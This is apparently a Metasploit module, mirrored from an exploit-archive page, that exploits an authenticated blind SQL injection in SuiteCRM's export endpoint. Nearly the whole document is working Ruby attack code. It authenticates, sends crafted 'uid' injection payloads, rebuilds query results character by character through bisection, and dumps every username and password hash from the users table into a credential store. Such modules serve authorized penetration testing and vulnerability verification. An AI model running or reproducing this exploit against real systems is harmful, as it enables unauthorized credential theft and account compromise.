Share
## https://sploitus.com/exploit?id=PACKETSTORM:180634
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::SQLi
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SuiteCRM authenticated SQL injection in export functionality',
'Description' => %q{
This module exploits an authenticated SQL injection in SuiteCRM in versions before 7.12.6. The vulnerability
allows an authenticated attacker to send specially crafted requests to the export entry point of the application in order
to retrieve all the usernames and their associated password from the database.
},
'Author' => [
'Exodus Intelligence', # Advisory
'jheysel-r7', # poc + msf module
'Redouane NIBOUCHA <rniboucha@yahoo.fr>' # sql injection help
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://blog.exodusintel.com/2022/06/09/salesagility-suitecrm-export-request-sql-injection-vulnerability/'],
['URL', 'https://docs.suitecrm.com/admin/releases/7.12.x/#_7_12_6']
],
'Actions' => [
['Dump credentials', { 'Description' => 'Dumps usernames and passwords from the users table' }]
],
'DefaultAction' => 'Dump credentials',
'DisclosureDate' => '2022-05-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)
register_options [
OptInt.new('COUNT', [false, 'Number of users to enumerate', 3]),
OptString.new('USERNAME', [true, 'Username of user', '']),
OptString.new('PASSWORD', [true, 'Password for user', '']),
]
end
def check
authenticated = authenticate
return Exploit::CheckCode::Safe('Unable to authenticate to SuiteCRM') unless authenticated
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'module' => 'Home',
'action' => 'About'
}
}
)
return Exploit::CheckCode::Safe('Trying to query the SuiteCRM version information failed') unless res&.body
version = Rex::Version.new(res.body.match(/Version\s+((?:\d+\.)+\d+).*/)[1])
return Exploit::CheckCode::Safe('Could not find retrieve the version of SuiteCRM from the version page') unless version
print_status "Version detected: #{version}"
return Exploit::CheckCode::Vulnerable if version <= Rex::Version.new('7.12.5')
Exploit::CheckCode::Safe
end
def authenticate
print_status("Authenticating as #{datastore['USERNAME']}")
initial_req = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'module' => 'Users',
'action' => 'Login'
}
}
)
return false unless initial_req && initial_req.code == 200 && initial_req.body.include?('SuiteCRM') && initial_req.get_cookies.include?('sugar_user_theme=')
login = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'module' => 'Users',
'action' => 'Authenticate',
'return_module' => 'Users',
'return_action' => 'Login',
'user_name' => datastore['USERNAME'],
'username_password' => datastore['PASSWORD'],
'Login' => 'Log In'
}
}
)
return false unless login && login.code == 302 && login.headers['Location'] == 'index.php?module=Home&action=index' && login.get_cookies.include?('sugar_user_theme=')
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php'),
'keep_cookies' => true,
'vars_get' => {
'module' => 'Administration',
'action' => 'index'
}
}
)
if res && res.code == 200 && res.body.include?('SuiteCRM') && res.get_cookies.include?('sugar_user_theme=') && res.body.include?('SUGAR.unifiedSearchAdvanced')
print_good("Authenticated as: #{datastore['USERNAME']}")
true
else
print_error("Failed to authenticate as: #{datastore['USERNAME']}")
false
end
end
# This module sends this same request multiple times. In order to reduce code it has been moved it into it's owm method
def send_injection_request_cgi(payload)
res = send_request_cgi({
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'index.php?entryPoint=export'),
'encode_params' => false,
'vars_post' => {
'uid' => payload,
'module' => 'Accounts',
'action' => 'index'
}
})
if res&.code != 200
fail_with(Failure::UnexpectedReply, "The server did not respond to the request with the payload: #{payload}")
end
res
end
# @return an array of usernames
def get_user_names(sqli)
print_status 'Fetching Users, please wait...'
users = sqli.run_sql('select group_concat(DISTINCT user_name) from users')
users.split(',')
end
# Use blind boolean SQL injection to determine the user_hashes of given usernames
def get_user_hashes(sqli, users)
print_status 'Fetching Hashes, please wait...'
hashes = []
number_of_users = users.size
users.each_with_index do |username, index|
hash = sqli.run_sql("select user_hash from users where user_name='#{username}'")
hashes << [username, hash]
print_good "(#{index + 1}/#{number_of_users}) Username : #{username} ; Hash : #{hash}"
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
private_data: hash,
service_name: 'SuiteCRM',
address: datastore['RHOSTS'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
end
hashes
end
def init_sqli
wrong_resp_length = send_injection_request_cgi(',\\,))+AND+1=2;+--+')&.body&.length
fail_with(Failure::UnexpectedReply, 'The server responded unexpectedly to a request sent with uid: ",\\,))+AND+1=2;+--+"') unless wrong_resp_length
sqli = create_sqli(dbms: MySQLi::BooleanBasedBlind, opts: { hex_encode_strings: true }) do |payload|
fail_with(Failure::BadConfig, 'comma in payload') if payload.include?(',')
resp_length = send_injection_request_cgi(",\\,))+OR+(#{payload});+--+")&.body&.length
resp_length != wrong_resp_length
end
# redefine blind_detect_length and blind_dump_data because of the bad characters the payload cannot include
def sqli.blind_detect_length(query, _timebased)
output_length = 0
min_length = 0
max_length = 800
loop do
break if blind_request("length(cast((#{query}) as binary))=#{output_length}")
flag = blind_request("length(cast((#{query}) as binary))+BETWEEN+#{output_length}+AND+#{max_length}")
if flag
min_length = output_length + 1
if max_length - min_length <= 1
if blind_request("length(cast((#{query}) as binary))=#{min_length}")
output_length = min_length
break
elsif blind_request("length(cast((#{query}) as binary))=#{max_length}")
output_length = max_length
break
else
fail_with(Failure::UnexpectedReply, 'Somehow this got messed up!')
end
end
output_length = (min_length + max_length) / 2 + 1
else
max_length = output_length
output_length = (min_length + max_length) / 2 - 1
end
end
output_length
end
def sqli.blind_dump_data(query, length, _known_bits, _bits_to_guess, _timebased)
output = [ ]
position = 1
length.times do |_j|
character_value = 0
min_value = 0
max_value = 1000
loop do
break if blind_request("(select ascii(substr((#{query}) from #{position} for 1)))=#{character_value}")
flag = blind_request("(select ascii(substr((#{query}) from #{position} for 1)))+BETWEEN+#{character_value}+AND+#{max_value}")
if flag
min_value = character_value + 1
if max_value - min_value <= 1
if blind_request("(select ascii(substr((#{query}) from #{position} for 1)))=#{min_value}")
character_value = min_value
break
elsif blind_request("(select ascii(substr((#{query}) from #{position} for 1)))=#{max_value}")
character_value = max_value
break
else
fail_with(Failure::UnexpectedReply, 'Somehow this got messed up!')
end
end
character_value = (min_value + max_value) / 2 + 1
else
max_value = character_value
character_value = (min_value + max_value) / 2 - 1
end
end
position += 1
output << character_value
end
output.map(&:chr).join
end
sqli
end
def run
unless datastore['AutoCheck']
authenticated = authenticate
fail_with(Failure::NoAccess, 'Unable to authenticate to SuiteCRM') unless authenticated
end
sqli = init_sqli
users = get_user_names(sqli)
user_table = Rex::Text::Table.new(
'Header' => 'SuiteCRM User Names',
'Indent' => 1,
'Columns' => ['Username']
)
users.each do |user|
user_table << [user]
end
print_line user_table.to_s
creds = get_user_hashes(sqli, users)
creds_table = Rex::Text::Table.new(
'Header' => 'SuiteCRM User Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)
creds.each do |cred|
creds_table << [cred[0], cred[1]]
end
print_line creds_table.to_s
end
end